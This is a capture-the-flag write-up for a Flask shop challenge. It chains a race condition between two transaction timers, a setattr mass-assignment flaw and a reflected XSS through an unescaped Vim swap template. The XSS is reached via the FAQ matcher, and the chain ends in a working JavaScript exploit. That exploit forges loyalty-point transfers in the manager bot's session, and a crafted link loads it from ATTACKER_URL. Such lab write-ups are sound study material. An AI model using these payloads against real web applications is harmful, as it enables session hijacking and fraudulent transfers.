Overview
The task includes:
a web page.
Let's take an overview of the webpage functionalities:
registration/login:
welcome page:
shop, with a possibility to:
add products:
checkout:
report an order:
there is also a system of loyalty points that you can transfer to different users:
an innocent faq:
The source code overview with the most important modules and files:
Backend Application (Flask)
views.py: Contains routing logic. It handles what happens when a user interacts with the app — logging in, registering, browsing products, using the cart, placing orders, reporting problems, and sending loyalty points. It works with the database, processes forms, and shows the right templates.
models.py: Models with entities like User, Product, Order, Transaction, etc.
templates/: Jinja2 templates for login, cart, FAQ, transactions, etc.
others
Database Schema
It includes entities like:
Users (with roles and balance).
Products and Orders.
Order Items and Problems.
Transactions (with pending/confirmed/rejected status) - for loyalty points transfer.
FAQ Recommendation System
It picks the most relevant answer page based on the meaning of the user's question using natural language processing.
Admin Automation Bot
Auto-login as manager.
Periodically checks and resolves order problems.
Aim
The goal of the challenge is to get 999999999 loyalty points as a regular user.
fragment of view.py:
case 'delete-account-and-get-flag':
if current_user.balance >= 999_999_999 and not current_user.is_manager and not current_user.is_admin:
current_user.remove()
db.session.commit()
flash('midnight{********REDACTED********}', 'success')
return redirect('/')
The manager starts with the amount of the loyalty points that we need:
fragment of init.sql
INSERT INTO users (username, password, is_manager, balance) VALUES
('manager', '********REDACTED********', true, 999999999999);
In short, we need to XSS the manager to transfer loyalty points to a regular user account that we control. We also need to bypass check that limits transaction size to 10. Then, we can buy the flag.
Code
Loyalty point transfer
When we create a transaction, it is sent to the server this way:
curl 'URL?action=create-transaction' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-b 'session=...
...
--data-raw 'recipient=doxdoxdox&amount=1' \
Second, the record in the database is created or updated by:
Transaction.update_or_create(current_user.id, form_data)
*In models.py `Transaction` entity is responsible for handling loyalty points.
Next, it is handled by two timers, one calls the function `confirm_transaction` and the second calls the function `send_transaction`.
As we see in the below screenshot, only transactions for less than or exactly 10 points are automatically transferred between accounts; the higher ones are in the eternal state `pending-manual-check`.
If you could just get the transaction into `confirmed` state and edit later...
Race condition
*In the below text, when I mention a function call, I mean the whole construct of calling a function with a timer.
The timers confirm_transaction and send_transaction are not synchronous. The first runs every 0.1 seconds, and the second 0.13 seconds.
We may be able to use this gap to update transaction:
create a small small transaction (1 point) process by the function `update_or_create`,
the status is updated to `confirmed' by the timer `confirm_transaction` <- the only function that checks if transaction is not bigger than 10 points to process it automatically,
the `send_transaction` queries for `confirmed' transactions
update a transaction for a bigger sum (999999999999 points) with the function `update_or_create`
the `send_transaction` transfers updated points to the user.
fragment of view.py
def confirm_transaction():
with app.app_context():
pending_transactions = Transaction.query.filter(Transaction.status == 'pending').all()
for transaction in pending_transactions:
if transaction.amount <= 10:
transaction.status = 'confirmed'
else:
transaction.status = 'pending-manual-check'
db.session.commit()
scheduler.add_job(id='confirm_transaction', func=confirm_transaction, trigger="interval", seconds=0.1)
def send_transaction():
with app.app_context():
confirmed_transactions = Transaction.query.filter(Transaction.status == 'confirmed').all()
for transaction in confirmed_transactions:
sender = User.query.get(transaction.sender_id)
recipient = User.query.get(transaction.recipient_id)
if sender and recipient:
if sender.balance >= transaction.amount:
transaction.status = 'sent'
if not sender.is_manager:
sender.balance -= transaction.amount
recipient.balance += transaction.amount
else:
transaction.status = 'rejected'
db.session.commit()
scheduler.add_job(id='send_transaction', func=send_transaction, trigger="interval", seconds=0.13)
But how to update the transaction for the given amount?
As we can see that all user provided data in POST request data in `create-transaction` are pass through to the `update_or_create` as `form_data`:
fragment of 'create-transaction' from view.py:
form_data = dict(request.form)
form_data['amount'] = amount
del form_data['recipient']
form_data['recipient_id'] = recipient.id
transaction = Transaction.update_or_create(current_user.id, form_data)
The code updates an existing transaction with `setattr`, so we can update the amount of points too!
setattr(object, attribute_name, value)
The built-in Python function setattr() is used to set or update the value of an attribute on an object dynamically.
What it does:
It sets the attribute on the given object to the specified value.
If the attribute does not exist, it creates it.
If it already exists, it updates its value.
fragment of `update_or_create`
if transaction_id:
del data['status']
existing_transaction = cls.query.get(transaction_id)
if existing_transaction:
if existing_transaction.sender_id == sender_id:
for key, value in data.items():
setattr(existing_transaction, key, value)
So, the updated plan for the exploit is to send two transactions. First, a normal transaction with a given `id`. Then, find the `id` in the HTML file with the transaction. Next, send the second request with the given `id` and 999999999999 points.
await fetch(txURL, {
method:'POST',
body:`recipient=OUR_USER&amount=999999999&transaction_id=213`,
...
});
We can send the transaction for an amount higher than 10 points, but only from the manager account. We still need a way for the manager to do this transaction for us.
XSS
Let's take a closer look at how the bot works.
We can run a Docker instance from source code and see the manager view.
The manager has an additional tab named `Problems`:
The bot logs for the manager account. It opens `Problem view`:
We can take a closer look at how the bot processes it. It looks for the URLs that start with 'http://web:8000' and visits them. It seems we need to find the subpage when it is possible to inject the script...
the fragment of `bot.js`:
const problemDescription = await page.locator('xpath=//body//div//p[1]').innerText();
const homeOrigin = new URL(page.url()).origin;
const problemWords = problemDescription.split(' ');
for (const word of problemWords) {
const urlPattern = /^http:\/\/web:8000\//;
if (urlPattern.test(word) && word !== homeOrigin) {
const currentProblem = page.url()
await page.goto(word);
await page.waitForTimeout(2000);
await page.goto(currentProblem);
}
}
The templates look genuinely safe.
But there is one non-standard file: `.intermediaries.html.swp`. This is a temporary file created by Vim that contains some binary data, but also a Jinja2 template, similar to other files. Jinja templates in Flask have a surprising feature, according to the docs:
Jinja Setup
Unless customized, Jinja2 is configured by Flask as follows:
autoescaping is enabled for all templates ending in .html, .htm, .xml, .xhtml, as well as .svg when using render_template().
Well, `autoescaping` default configuration doesn't escape the non-web files like `.intermediaries.html.swp`.
How to produce a question that points to this file?
Let's look at the faq.
It uses TF-IDF language processing to match the best question. The files of the templates are named the same as the labels. In the code, we can see that we need the label that is a substring of the word `.intermediaries`.
One such label is `media.`
fragment of view.py
faq_data = [
...,
{"question": "How can I leave feedback or a review?", "label": "feedback"},
{"question": "Do you have a press kit available that includes company logos and release templates?", "label": "media"},
{"question": "How do I manage my subscription preferences?", "label": "subscription"},
...]
...
listdir = sorted(os.listdir('templates/faq/answers'))
for file in listdir:
if label in file:
template = '/faq/answers/' + file
context['question'] = question
break
We can submit the question:
It results redirects us to:
URL/?action=faq&question=Do+you+have+a+press+kit+available+that+includes+company+logos+and+release+templates%3F
If we append our exploit the question, the cosine similarity still be the highest for the label `media`.
URL/?action=faq&question=Do+you+have+a+press+kit+available+that+includes+company+logos+and+release+templates%3Cscript%3Ealert(1)%3C/script%3E%3F
So we can add the script with the source from our attacker server.
Solution
We have all the elements to solve the challenge:
prepare the URL on our server with the code that makes the race condition,
prepare the link to faq with the link with source of the exploit,
report the order with link to the faq,
wait for the race condition to occur
buy a flag.
The race condition code that runs on attacker server:
const user = 'doxdoxdox';
const txURL = '/?action=create-transaction';
const list = '/?action=transactions-list';
const hdr = { 'Content-Type':'application/x-www-form-urlencoded' };
let busy = false;
setInterval(async () => {
if (busy) return; // skip tick if the previous one is still running
busy = true;
try {
await fetch(txURL, {
method:'POST',
headers:hdr,
body:`recipient=${user}&amount=1`,
credentials:'include'
});
await new Promise(r => setTimeout(r, 30)); // let the row appear
const html = await (await fetch(list,{credentials:'include'})).text();
const doc = new DOMParser().parseFromString(html,'text/html');
const ids = [...doc.querySelectorAll('tr')]
.filter(tr => tr.cells[2]?.textContent.trim() === user)
.map(tr => +tr.cells[0].textContent.trim());
if (!ids.length) return console.log('no rows for', user);
const id = Math.max(...ids);
await fetch(txURL, {
method:'POST',
headers:hdr,
body:`recipient=${user}&amount=999999999&transaction_id=${id}`,
credentials:'include'
});
console.log('confirmed id', id);
} finally {
busy = false;
}
}, 500);
The prepared URL:
URL/?action=faq&question=Do+you+have+a+press+kit+available+that+includes+company+logos+and+release+templates%3Cscript%20src=%22ATTACKER_URL/a.js%22%3E%3C/script%3E
Next, give the URL to the bot.
We paste the URL a few times to increase the chance of a race condition.
Finally, we get the flag:
Happy hacking, bye-bye!
Reading recommendations
Great Twitter account to be up-to-date with fresh XSS attacks: